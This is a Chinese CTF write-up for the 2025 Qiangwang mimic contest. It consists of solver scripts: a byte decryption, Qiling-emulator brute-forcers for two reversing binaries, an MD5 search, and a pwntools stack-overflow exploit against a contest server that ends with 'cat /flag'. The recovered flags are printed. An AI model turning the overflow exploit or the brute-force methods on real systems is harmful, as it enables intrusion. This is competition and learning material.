2025 第八届“强网”拟态 部分Writeup

# decrypt_flag.py
cipher = [1, 33, 194, 133, 195, 102, 232, 104, 200, 14, 8, 163, 131, 71, 68, 97, 2, 76, 72, 171, 74, 106, 225, 1, 65]
key = "newKey2025!"

# 计算位移量 c = sum(key_bytes) % 8
key_bytes = [ord(ch) for ch in key]
c = sum(key_bytes) % 8

def ror8(val, bits):
    """8-bit 右循环移位（Rotate Right）"""
    bits = bits % 8
    return ((val >> bits) | ((val << (8 - bits)) & 0xFF)) & 0xFF

def decrypt(cipher_bytes, key_bytes, rotate_bits):
    s = len(key_bytes)
    out = []
    for i, v in enumerate(cipher_bytes):
        # 加密时是先 XOR 再左循环移位 c，
        # 解密应先右循环移位 c（还原），再 XOR key
        u = ror8(v, rotate_bits)
        plain_byte = u ^ key_bytes[i % s]
        out.append(plain_byte)
    return bytes(out)

plain_bytes = decrypt(cipher, key_bytes, c)

print("key:", key)
print("rotate bits (c):", c)
print("Decrypted bytes (hex):", plain_bytes.hex())
# 尝试以 utf-8 解码，若失败则用 latin-1 保底
try:
    decoded = plain_bytes.decode('utf-8')
except UnicodeDecodeError:
    decoded = plain_bytes.decode('latin-1')
print("Decrypted string:", decoded)
# flag{JustEasyMiniProgram}

from qiling import *
from qiling.extensions import pipe
from qiling.const import QL_VERBOSE

target = [0x4B, 0xD7, 0x58, 0xB8, 0xDF, 0xAA, 0xE3, 0xD3, 0x27, 0xDC, 0x71, 0x51, 0x22, 0x98, 0xBB, 0x9E, 0x5F, 0x59, 0xA1, 0xB3, 0x92, 0x7E, 0xFC, 0xBA]

now = []

solutions = []

def hook(ql: Qiling):
    global reg_al
    reg_al = ql.arch.regs.read("AL")
    now.append(reg_al)
    # print(reg_al)

def run(input_str:str):
    path = ['./qiling-rootfs/x8664_linux_glibc2.39/hyperjump']
    rootfs = "./qiling-rootfs/x8664_linux_glibc2.39"
    ql = Qiling(path, rootfs, multithread=True, verbose=QL_VERBOSE.DISABLED)
    ql.os.stdin = pipe.SimpleInStream(0)
    ql.os.stdin.write((input_str+'\n').encode())
    ql.os.stdout = pipe.SimpleOutStream(1)
    base = ql.mem.get_lib_base('hyperjump')
    ql.hook_address(hook, base + 0x13f3)
    ql.run()

if __name__ == '__main__':
    flag = ['1'] * 24
    for i in range(24):
        now_solution = []
        if i > 0:
            for ps in solutions:
                flag[i-1] = ps[0]
        for c in range(32, 127):
            flag[i] = chr(c)
            input_str = ''.join(flag)
            # print(f'[*] Trying: {input_str}')
            now = []
            run(input_str)
            if now[i] == target[i]:
                print(f'[+] Found char at position {i}: {chr(c)}')
                now_solution.append(chr(c))
        solutions.append(now_solution)
    print(solutions)
# [['f'], ['X', 'l'], ['a'], ['g'], ['A', '{'], [']', 'm'], ['4'], ['!', 'i', 'z'], ['3'], ['d'], ['_'], ['v'], ['m'], ['_'], ['j'], ['u'], ['m'], ['p'], ['5'], ['_'], ['_'], ['4'], ['2'], ['}']]

import hashlib

solutions = [['f'], ['X', 'l'], ['a'], ['g'], ['A', '{'], [']', 'm'], ['4'], ['!', 'i', 'z'], ['3'], ['d'], ['_'], ['v'], ['m'], ['_'], ['j'], ['u'], ['m'], ['p'], ['5'], ['_'], ['_'], ['4'], ['2'], ['}']]
target_md5 = "91b713899496c938c4930d6194929ebc"

# 遍历所有可能的组合，匹配md5
def dfs(position, current_str):
    if position == len(solutions):
        # 计算md5
        md5_hash = hashlib.md5(current_str.encode()).hexdigest()
        if md5_hash == target_md5:
            print(f'[+] Found matching string: {current_str}')
        return
    for char in solutions[position]:
        dfs(position + 1, current_str + char)

if __name__ == '__main__':
    dfs(0, "")
# flag{m4z3d_vm_jump5__42}

from qiling import *
from qiling.extensions import pipe
from qiling.const import QL_VERBOSE

target = [0xf7, 0x88, 0xc3, 0x29, 0x36, 0x64, 0x63, 0x29, 0xc7, 0x7f, 0x1c, 0xab, 0x71, 0xe0, 0x03, 0x49, 0x73, 0xcb, 0x0a, 0xaf, 0x0c, 0x87, 0x84, 0x8e, 0x5a, 0x64, 0xc7, 0xac, 0x2a, 0x67]

def hook(ql: Qiling):
    global byte_value
    final_ptr = ql.arch.regs.read("RDI")
    byte_value = ql.mem.read(final_ptr, 30)
    # print("Extracted bytes:", byte_value)

def run(input_str:str):
    path = ['./qiling-rootfs/x8664_linux_glibc2.39/Icall']
    rootfs = "./qiling-rootfs/x8664_linux_glibc2.39"
    ql = Qiling(path, rootfs, multithread=True, verbose=QL_VERBOSE.DISABLED)
    ql.os.stdin = pipe.SimpleInStream(0)
    ql.os.stdin.write((input_str+'\n').encode())
    ql.os.stdout = pipe.SimpleOutStream(1)
    ql.hook_address(hook, 0x4025dc)
    ql.run()

if __name__ == '__main__':
    flag = ['A'] * 30
    for i in range(30):
        for c in range(32, 127):
            flag[i] = chr(c)
            input_str = ''.join(flag)
            print(f'[*] Trying: {input_str}')
            run(input_str)
            if list(byte_value)[:i+1] == target[:i+1]:
                print(f'[+] Found char at position {i}: {chr(c)}')
                break
    print('Final flag:', ''.join(flag))
# flag{r0uNd_Rc4_Aff1neEnc1yp7!} 

#!/usr/bin/env python3
from pwn import *

LOCAL_BIN = "./babystack"
REMOTE = True

context.update(arch='amd64', os='linux', log_level='debug')

# 目标值 20150972 (decimal) == 0x1337abc
TARGET = 20150972

def exploit_local():
    p = process(LOCAL_BIN)
    return exploit_io(p)

def exploit_remote():
    p = remote("pwn-c5df5b166d.challenge.xctf.org.cn", 9999, ssl=True)
    return exploit_io(p)

def exploit_io(p):
    flag1 = b"FLAG1\n"
    p.recvuntil(b"Enter your flag1:")
    p.send(flag1)
    padding = b"A" * 248
    visible = b"MYFLAG\0"
    fill = visible + b"B"*(248 - len(visible))

    payload = fill + p64(TARGET)
    p.recvuntil(b"Enter your flag2:")
    p.send(payload)

    p.send(b'cat /flag\n')
    p.interactive()
    return

if __name__ == "__main__":
    if REMOTE:
        exploit_remote()
    else:
        exploit_local()